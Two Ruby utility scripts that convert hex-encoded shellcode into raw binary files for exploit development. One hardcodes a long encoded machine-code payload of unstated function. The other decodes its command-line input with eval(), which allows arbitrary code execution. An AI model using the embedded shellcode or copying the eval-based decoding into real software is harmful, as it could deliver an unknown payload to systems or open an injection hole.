Hex to Binary file

hex2bin-v1.5.rb

#!/bin/ruby
#########################
# Bin2Hex v1.5
# Coded by: KING SABRI
#########################
# gem install colorize
require 'colorize'
require 'optparse'
$mark_Red = "[+]".red
##################################


options = {}

optparse = OptionParser.new do|opts|
  #--> Raw
  opts.on('-r', '--raw STRING', "Raw of Hex String") do |r|
    options[:raw]  = r
  end
  #--> Destination (output) 
  opts.on('-o', '--out-put OUTPUT.bin', "Output filename") do |o|
    options[:output] = o
  end
  #--> Display the help screen
  opts.banner = "Usage: ruby hex2bin.rb -o shellcode.bin -r \\xdb\\xc1...\\x33\\xc9  {NO SINGLE/DOUBLE QUOTES SURROUNDING}"
  opts.on( '-h', '--help', "Display this screen " ) do	
    puts opts
    exit
  end
end
optparse.parse!
options
ARGV

$filename = options[:filename]
$raw      = options[:raw]
$output   = options[:output]


def hexor(hex)
  
  hex.each do |s| 
    s = s.gsub('x' , '\x') 
    $evalu = eval('"%s"' % s)
  end
   return $evalu
end
hex_raw  = hexor([options[:raw]])



def get_raw(inputs , output)
  File.open(output , 'wb') do |i|
    i.print inputs
    sleep 0.2
  end
  puts $mark_Red + " File name: " + "#{output}".green
  puts $mark_Red + " File size: " + "#{File.size(output)}".green + " bytes."  # should be same shellcode length otherwise there's something wrong 
  puts $mark_Red + " Shellcode length: " + "#{inputs.size}".green + " bytes."  
  puts $mark_Red + " Done" + "!".green
end



get_raw(hex_raw , $output)

hex2bin.rb

#!/bin/ruby
#########################
# Bin2Hex
# Coded by: KING SABRI
#########################
# gem install colorize
require 'colorize'
mark_Red = "[+]".red
##################################


shellcode =
"\xdb\xc1\xbe\x8e\x0c\xae\x5a\xd9\x74\x24\xf4\x5f\x33\xc9" +
"\xb1\x56\x83\xc7\x04\x31\x77\x14\x03\x77\x9a\xee\x5b\xa6" +
"\x4a\x67\xa3\x57\x8a\x18\x2d\xb2\xbb\x0a\x49\xb6\xe9\x9a" +
"\x19\x9a\x01\x50\x4f\x0f\x92\x14\x58\x20\x13\x92\xbe\x0f" +
"\xa4\x12\x7f\xc3\x66\x34\x03\x1e\xba\x96\x3a\xd1\xcf\xd7" +
"\x7b\x0c\x3f\x85\xd4\x5a\xed\x3a\x50\x1e\x2d\x3a\xb6\x14" +
"\x0d\x44\xb3\xeb\xf9\xfe\xba\x3b\x51\x74\xf4\xa3\xda\xd2" +
"\x25\xd5\x0f\x01\x19\x9c\x24\xf2\xe9\x1f\xec\xca\x12\x2e" +
"\xd0\x81\x2c\x9e\xdd\xd8\x69\x19\x3d\xaf\x81\x59\xc0\xa8" +
"\x51\x23\x1e\x3c\x44\x83\xd5\xe6\xac\x35\x3a\x70\x26\x39" +
"\xf7\xf6\x60\x5e\x06\xda\x1a\x5a\x83\xdd\xcc\xea\xd7\xf9" +
"\xc8\xb7\x8c\x60\x48\x12\x63\x9c\x8a\xfa\xdc\x38\xc0\xe9" +
"\x09\x3a\x8b\x65\xfe\x71\x34\x76\x68\x01\x47\x44\x37\xb9" +
"\xcf\xe4\xb0\x67\x17\x0a\xeb\xd0\x87\xf5\x13\x21\x81\x31" +
"\x47\x71\xb9\x90\xe7\x1a\x39\x1c\x32\x8c\x69\xb2\xec\x6d" +
"\xda\x72\x5c\x06\x30\x7d\x83\x36\x3b\x57\xb2\x70\xf5\x83" +
"\x97\x16\xf4\x33\x02\x54\x71\xd5\x46\x8a\xd4\x4d\xfe\x68" +
"\x03\x46\x99\x93\x61\xfa\x32\x04\x3d\x14\x84\x2b\xbe\x32" +
"\xa7\x80\x16\xd5\x33\xcb\xa2\xc4\x44\xc6\x82\x8f\x7d\x81" +
"\x59\xfe\xcc\x33\x5d\x2b\xa6\xd0\xcc\xb0\x36\x9e\xec\x6e" +
"\x61\xf7\xc3\x66\xe7\xe5\x7a\xd1\x15\xf4\x1b\x1a\x9d\x23" +
"\xd8\xa5\x1c\xa1\x64\x82\x0e\x7f\x64\x8e\x7a\x2f\x33\x58" +
"\xd4\x89\xed\x2a\x8e\x43\x41\xe5\x46\x15\xa9\x36\x10\x1a" +
"\xe4\xc0\xfc\xab\x51\x95\x03\x03\x36\x11\x7c\x79\xa6\xde" +
"\x57\x39\xd6\x94\xf5\x68\x7f\x71\x6c\x29\xe2\x82\x5b\x6e" +
"\x1b\x01\x69\x0f\xd8\x19\x18\x0a\xa4\x9d\xf1\x66\xb5\x4b" +
"\xf5\xd5\xb6\x59"

begin
  file = ARGV[0]

  File.open(file , 'wb') do |f|
    f.print  shellcode
    sleep 0.2
  end

  puts mark_Red + " File name: " + "#{file}".green
  puts mark_Red + " Shellcode length: " + "#{File.size(file)}".green + " bytes."
  puts mark_Red + " Done" + "!".green
rescue 
  puts "[!]".yellow + "Error!\n" + "Usage:\n" +
       "  Put your shellcode hexs in shellcode variable (Hardcode). then exectue.\n".green +
       "ruby hex2bin.rb [output.bin]\n\n"
end